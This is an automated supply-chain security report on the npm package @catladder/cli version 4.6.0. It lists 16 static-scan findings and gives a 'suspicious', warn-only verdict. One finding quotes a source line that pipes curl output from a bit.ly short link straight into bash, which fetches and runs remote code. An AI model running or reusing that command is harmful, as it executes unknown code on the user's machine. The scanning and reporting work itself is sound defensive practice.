---
canonical: "https://firewall.lpm.dev/npm/@catladder/cli/v/4.6.0"
markdown: "https://firewall.lpm.dev/npm/@catladder/cli/v/4.6.0.md"
package: "@catladder/cli"
report_status: "under_review"
title: "@catladder/cli@4.6.0 npm security report"
verdict: "suspicious"
version: "4.6.0"
---

# @catladder/cli@4.6.0 npm security report

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## Verdict summary
**Flagged — allowed with a warning** — Allowed by default policy, but 16 finding(s) warrant review before installing.

- **Verdict:** Suspicious
- **Product-default install policy:** Warn
- **Firewall policy:** Matched warn-list
- **Public report status:** Under Review
- **Threat category:** None published
- **Selected version:** 4.6.0
- **Selected version is latest:** No
- **Analysis source:** Static Scan Results (rust-scanner)

Static analysis flagged 16 finding(s) at 86.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Suspicious
- **Confidence:** 86.0%
- **Started:** 2026-07-01T04:53:44.233Z
- **Finished:** 2026-07-01T04:53:46.314Z
- **Download time:** 1300 ms
- **Static scan time:** 780 ms
- **AI review time:** Not available
- **Total time:** 2081 ms

## Security analysis

No additional public attack-surface or AI-review details are available.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Medium: Secret Pattern
- **Category:** Secrets
- **Confidence:** 75.0%
- **Path:** dist/pipeline/src/deploy/cloudRun/utils/database.js
- **Public source:** [View source](<https://unpkg.com/@catladder/cli@4.6.0/dist/pipeline/src/deploy/cloudRun/utils/database.js>)

Package contains a possible secret pattern.

Public source snippet (untrusted):

```javascript
patternName = generic_password
severity = medium
line = 43
matchedText = const pa...e)];
```

### 3. High: Child Process
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** dist/bundles/cli/exec-child.js
- **Public source:** [View source](<https://unpkg.com/@catladder/cli@4.6.0/dist/bundles/cli/exec-child.js>)

Package source references child process execution.

Public source snippet (untrusted):

```javascript
L4: 
L5: var childProcess = require('child_process');
L6: var fs = require('fs');
```

### 4. High: Shell
- **Category:** Source
- **Confidence:** 85.0%

Package source references shell execution.

### 5. Medium: Dynamic Require
- **Category:** Source
- **Confidence:** 75.0%
- **Path:** dist/pipeline/src/pipeline/createAllJobs.js
- **Public source:** [View source](<https://unpkg.com/@catladder/cli@4.6.0/dist/pipeline/src/pipeline/createAllJobs.js>)

Package source references dynamic require/import behavior.

Public source snippet (untrusted):

```javascript
L6: exports.createAllJobs = void 0;
L7: const createAllComponentsContext_1 = require("../[redacted]");
L8: const createWorkspaceContext_1 = require("../context/createWorkspaceContext");
```

### 6. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 7. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 8. Medium: Install Persistence
- **Category:** Source
- **Confidence:** 75.0%
- **Path:** dist/cli/src/completion.js
- **Public source:** [View source](<https://unpkg.com/@catladder/cli@4.6.0/dist/cli/src/completion.js>)

Source writes installer persistence such as shell profile or service configuration.

Public source snippet (untrusted):

```javascript
L193: function getZshrcPath() {
L194: return (0, path_1.join)((0, os_1.homedir)(), ".zshrc");
L195: }
```

### 9. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 10. Critical: Download Execute
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** src/commands/project/commandGetMyTotalWorktime.ts
- **Public source:** [View source](<https://unpkg.com/@catladder/cli@4.6.0/src/commands/project/commandGetMyTotalWorktime.ts>)

Source downloads or fetches remote code and executes it.

Public source snippet (untrusted):

```typescript
L9: execute: async () => {
L10: await spawn("sh", ["-c", "curl -s -L http://bit.ly/3VQEKNq | bash"], {
L11: stdio: ["pipe", "inherit", "pipe"],
```

### 11. High: Runtime Package Install
- **Category:** Source
- **Confidence:** 86.0%
- **Path:** dist/cli/src/commands/project/commandOpenGit.js
- **Public source:** [View source](<https://unpkg.com/@catladder/cli@4.6.0/dist/cli/src/commands/project/commandOpenGit.js>)

Package source invokes a package manager install command at runtime.

Public source snippet (untrusted):

```javascript
L14: execute: async () => {
L15: await (0, child_process_promise_1.exec)("npx git-open");
L16: }
```

### 12. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 13. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 14. Medium: Ships Native Binary
- **Category:** Artifact Inventory
- **Confidence:** 75.0%
- **Path:** dist/bundles/cli/xsel
- **Public source:** [View source](<https://unpkg.com/@catladder/cli@4.6.0/dist/bundles/cli/xsel>)

Package ships native binary artifacts.

Public source snippet (untrusted):

```text
path = dist/bundles/cli/xsel
kind = native_binary
sizeBytes = 129416
magicHex = [redacted]
```

### 15. High: Oversized Source File
- **Category:** Artifact Inventory
- **Confidence:** 80.0%
- **Path:** dist/bundles/cli/index.js
- **Public source:** [View source](<https://unpkg.com/@catladder/cli@4.6.0/dist/bundles/cli/index.js>)

Package contains source files above the static scanner size ceiling.

Public source snippet (untrusted):

```javascript
path = dist/bundles/cli/index.js
kind = oversized_source_file
sizeBytes = 7073692
magicHex = [redacted]
```

### 16. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 100.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 1
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 37
- **Published dependency-graph edges:** 1

### Published dependency entries
- tsx ^4.21.0 (Dependency)

## Package metadata
- **Package:** @catladder/cli
- **Ecosystem:** npm
- **Version:** 4.6.0
- **License:** MIT
- **Version published:** 2026-06-30T14:32:45.601Z
- **Package first seen:** 2026-07-01T04:53:46.314Z
- **Package last seen:** 2026-08-13T16:12:00.522Z
- **Known versions:** 2
- **Latest version:** 5.0.0
- **Appeal under review:** No
- **Description:** Panter cli tool for cloud CI/CD and DevOps
- **Author:** Marco Wettstein
- **Maintainers:** macrozone
- **Keywords:** GitLab, cloud, cli, gitlab-ci, ci/cd, pipeline, deployment, devops, automation, typescript
- **Runtime engines:** node: \>=18.0.0
- **Artifact files:** 909
- **Artifact unpacked size:** 12,444,067 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@catladder/cli/v/4.6.0>)
- [Repository](<https://git.panter.ch/catladder/catladder>)
- [Homepage](<https://catladder.git.panter.biz/catladder/docs>)
- [Issues](<https://git.panter.ch/catladder/catladder/issues>)
